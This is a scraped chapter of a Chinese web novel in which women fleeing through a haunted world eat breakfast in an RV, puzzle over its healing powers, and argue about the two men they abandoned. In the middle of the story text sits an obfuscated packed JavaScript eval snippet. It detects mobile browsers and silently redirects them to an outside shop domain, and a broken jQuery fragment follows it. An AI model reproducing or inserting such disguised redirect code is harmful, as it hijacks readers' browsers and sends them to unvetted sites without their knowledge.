文趣网 > 都市小说 > 全员“恶女”,绝命逃亡 > 27.轻手、轻手,居士本来无垢
    向宁很庆幸即使离开了现实世界,仍旧有白天和黑夜这一说。

    她搓搓手,掀开冒着热气的泡面盖,里面加了一个鸡蛋,和半根香肠。

    剩下的半根,她分给了周思尔。

    李昭自己放了两根,说是要好好犒劳自己。

    房车上是有小厨房的,但没人去做饭。

    李昭和周思尔是不会,她是不想,而且她只会最简单的那几种。

    一旦承接了这种做饭的活计,未来,做饭这种事,大概率会自然而然地压在她身上。

    这种吃力不讨好的事,向宁不感兴趣。

    好在,速食品管够,她们一时半会还饿不死。

    “真香!”李昭吸溜着泡面,三两口就解决了一桶,看起来好像没吃饱。

    “我的分给你。”周思尔将自己的泡面分给了李昭一筷子,“我没什么胃口,你多吃些。”

    其实向宁的胃口也不怎么样,但凡见过康庄的模样,都很难有吞咽食物的想法和欲望。

    从这一点来说,李昭确实是个很强大的人。

    “对了,向宁姐,我有件事一直没想通。”李昭一边嗦着面,一边含糊不清地开口:“为什么你们一开始给鬼搓澡会搓掉皮肉,但之后就正常了?我们做了什么吗?昨天和思尔聊的时候,我们都没想明白。”

    向宁放下手上的筷子,视线扫过纪舒闻的房门。

    自打昨天她回房后,就没出来过。

    “大概……是执念吧。”

    不论是个人的执念,还是外界的侵扰,一旦蔓延都有如荒原烈火,星星点点便可燎原。

    所谓行思坐忘,无垢无伤,看起来更像是一种美好却不现实的希冀。

    行走于世间,哪来真无垢。

    向宁下意识地看向了周思尔,笑了笑,没说什么。

    一阵陌生的脚步声传来,向宁回头看去。

    是纪舒闻。

    她脚上穿着看上去十分柔软的皮拖鞋,拿着她的咖啡杯,径直走到了小厨房。

    熟练的动作,再配上纪舒闻先天的优雅,向宁三人看得有些入迷。

    没一会儿,属于食物的香味扑鼻而来,原本没什么胃口的向宁都不自觉地咽了咽口水。

    纪舒闻的厨艺看起来很好。

    但这三个人是万万不敢指使纪舒闻当厨子的。

    纪舒闻坐到向宁对面,拿着筷子夹起她刚刚煎好的芦笋。

    “我以为你会用刀叉。”向宁拄着下巴,有一搭没一搭地说着闲话。

    她得确认纪舒闻现在的状态。

    “筷子的效率更高。”

    十分符合纪舒闻性格的回答,向宁觉得,这个人大概是没事了。

    “康庄也一直没出来,包括带回来的那两个男生。”向宁瞟了一眼康庄的房门,压低了声音:“上车之后,他的状态就在慢慢恢复,原本更像鬼的那一面逐渐消失。至少在他回房的时候,他已经能正常行走了。”

    纪舒闻将嘴里的食物咽尽,抿了一口咖啡后才开口:“你想说,房车有排斥鬼的能力?”

    “只是个猜想。”向宁点点头,随即问那个不知道从哪儿拿了小零食、一直往嘴里放的李昭。

    “你之前的那个房车,有治疗功能吗?”

    “咔嚓咔嚓”

    李昭嚼着嘴里的薯片,肯定地点了点头,“比这辆车快多了,我从鬼超市里逃出来以后,胸口被划伤了一个大口子,但我刚上车,身上的所有伤都立刻好了。嗯……”

    想了想,李昭补充了一句:“比这辆车的恢复速度快多了,只是一眨眼的事。”

    向宁和纪舒闻互相对视,眉眼中闪过一丝几不可查的警惕。

    按道理来说,应该是鬼开的房车更有问题才是,但李昭的话反而印证了鬼房车对人的加成更大,周思尔的房车顶多是加快了时间的流逝。

    这一点向宁验证过。

    她昨晚在房间用刀在胳膊上划了两道。

    一道上了药,另一道没去管。

    上了药的伤口恢复速度远超没上药的那道。

    包括后续的愈合,涂抹了消疤痕药的伤口也恢复得更快。

    向宁仔细检查过药的成分,都是她听过的配方,并不存在灵异世界里独有的特效药。

    所以,她才确定,房车上的时间流速可能有问题,但这里又有着正常的白天和黑夜。

    如果真的是整个时间的流速有问题,那是不是意味着她们也会加速老去?

    还是说只是针对身体受伤,房车对伤口单独进行了时间的加速?

    那未免也太精准了。

    这样一来,周思尔的道具,也出现了问题。

    她和纪舒闻的道具来自山海经,虽然有限制,但至少对人无害。

    康庄的道具立场很模糊,既害人又害鬼,和她们手上的道具明显对立。

    到周思尔这里,道具又出现了另一种阵营。

    不属于山海经,也不属于康庄那种邪恶的来源,看起来只是单纯的在为她们提供帮助……

    一个压在心底的疑问再次浮现在脑海:道具,究竟是什么?

    “那两个男生……”周思尔有些心烦地用筷子不断地朝着面里戳,语气中带着明显的担忧。

    “跟着康庄,定是必死的结局了。”纪舒闻冷冷开口。

    “就算我们将他们扔在那里,他们也活不成。”向宁拍了拍周思尔搅动泡面的手,耐心又温柔,“他们已经被康庄吸食得差不多了,早就没了行动力。鬼车上的鬼,是不会将他们拖上车的,他们会直接死在月亮湾的门前。更何况,他们的死并不是你造成的……”

    “可你是为了救我才将他们带上车的,不是吗?说到底,他们还是为我而死,而且还会受更多的折磨。”

    两行清泪顺着周思尔的娃娃脸落进了泡面里,周思尔抽噎着,不敢看向宁,也不敢看纪舒闻。

    她低着头,死死地咬着唇,像是在抵抗什么,但终究无能为力。

    向宁有些惊讶。

    一直默不作声,只会服从她的周思尔,原来也在默默思考,并真的猜到了她将那两个人抬上车的理由。

    就连纪舒闻也多看了周思尔一眼,但很快就将视线移开,自顾自地品尝她的早餐。

    李昭有些尴尬地缩回了吃零食的手,她后知后觉地明白了向宁都为她做了什么,但一时间也不知道该怎么劝周思尔。

    “那个男的很明显是个坏的嘛,我们都到了灵异世界里来了,怎么说,也得以自己的安全为先吧……毕竟这里又不是法治社会,也没有人为我们匡扶正义。再说,那个康庄,杀人的时候,不也眼都不眨一下吗?我们和他比起来,善良多了。”

    李昭说得笨拙,但意思却表达得很清楚。

    她不觉得有什么心理负担。

    “下一个灵异事件里,那个大魔头肯定是要动手的!舒闻姐和向宁姐他打不过,那死的肯定是咱们俩啊!我还不想死呢!我好不容易坚持到有大腿来带我,要死那也肯定是别人死。”

    李昭安慰地拍了拍周思尔的肩,她不擅长安慰人,但周思尔看上去就是个乖孩子,还没见过人心险恶。就这么突然被扔到了这种世界里,李昭想了想,觉得自己任重道远

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17663771|206795||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    “对不起。”

    周思尔抽噎了半天,只说了一句抱歉。

    “你对不起谁?”

    难得,说话的居然是纪舒闻。

    “我……对不起大家。”

    “我、她还有她,这次都没有被你害到,也没有因你受伤,你的对不起,可能认错对象了。”纪舒闻说完之后,收起餐盘,扔到了洗菜池下方的小型洗碗机里。

    “如果硬要说的话,你那句对不起,应该是对你自己说的。”纪舒闻回到餐桌,抽了两张纸巾,擦了擦手,继续道:

    “这里没人会为自己的选择痛苦,只有你。你因为你心里的道德感而痛苦、纠结,但我们不是。我们需要这辆车,你必须得活着,仅此而已。搞清楚你自己心里痛苦的来源,尽快解决它,不要把你的负面情绪传染给别人,这个车上的负面情绪已经够多了。”

    纪舒闻甩出她那像把剑一样的语言,转身回了房。

    餐厅里寂静无声。

    向宁没动,李昭被纪舒闻的话冻在原地,僵硬地用眼神暗示着向宁。

    但向宁没回应,她没什么好回应的。

    这番话,就算纪舒闻不说,她也要说的。

    只不过,她说得会更委婉一些,听起来没那么伤人一些。

    唉……

    纪舒闻可真是。

    “对不起。”极轻的声音滴落在耳边,仿佛刚刚只是一场幻觉。

    但向宁知道,那不是。

    “对不起,给大家带来了负面情绪,我没处理好自己的心结。你们挡在我前面厮杀已经很辛苦了,回到车里还要帮我梳理情绪……真的对不起。”

    “哎呀,没什么的。”李昭干巴巴地笑着,她是真的觉得没啥。

    周思尔的头始终低垂着,向宁看不清她脸上的表情,但能感受到她的痛苦和纠结。

    向宁伸手,覆在了她桌子下握紧的拳头上。

    “我……以前,大家总说我是圣母婊……”

    “他们放屁!”李昭猛地站了起来,但椅子离桌子太近,她卡了一下,又尴尬地坐了回去。

    “你哪里圣母……”

    “我现在觉得,我好像真的是……”

    “不是,你别瞎想!”李昭继续反驳。

    “我为了维护自己内心的道德,将你们逼进了绝境,如果不是我,康庄根本不会上车,那两个男生也……你们也不会跟着我烦心……”

    周思尔的声音越来越低,像是不断有巨石落在她的脖子上,压得她直不起身。

    向宁轻柔地拍了拍周思尔的手,笑了笑。

    “思尔,你的过去,真的挺幸福的。至少,你从小到大的生活环境,看起来,很安全。”

    向宁留下这句话,起身,也离开了。

    关上房门之际,她再次看了一眼依旧迷茫的周思尔,和不断宽慰她的李昭。

    原本,她在刚才还以为,要想达到真“无垢”的境界,或许只有周思尔那样的人才可能。

    但失去了一直保护着她、爱着她的环境,那泥沼像跗骨之疽一般,死死地贴上了周思尔。

    周思尔有如小太阳一样的光芒在淡去。

    原本,她是想就着纪舒闻的话趁机提点一下周思尔的。

    但……

    向宁关上了房门,靠在门后。

    这辆车上,有她和纪舒闻这样的利己主义者已经足够了。

    她在黑暗中游荡太久了,若是可以,向宁还是希望周思尔的光芒可以亮得久一点,再久一点。

    让她可以凑近光的边缘,汲取一丝丝遥不可及的温暖。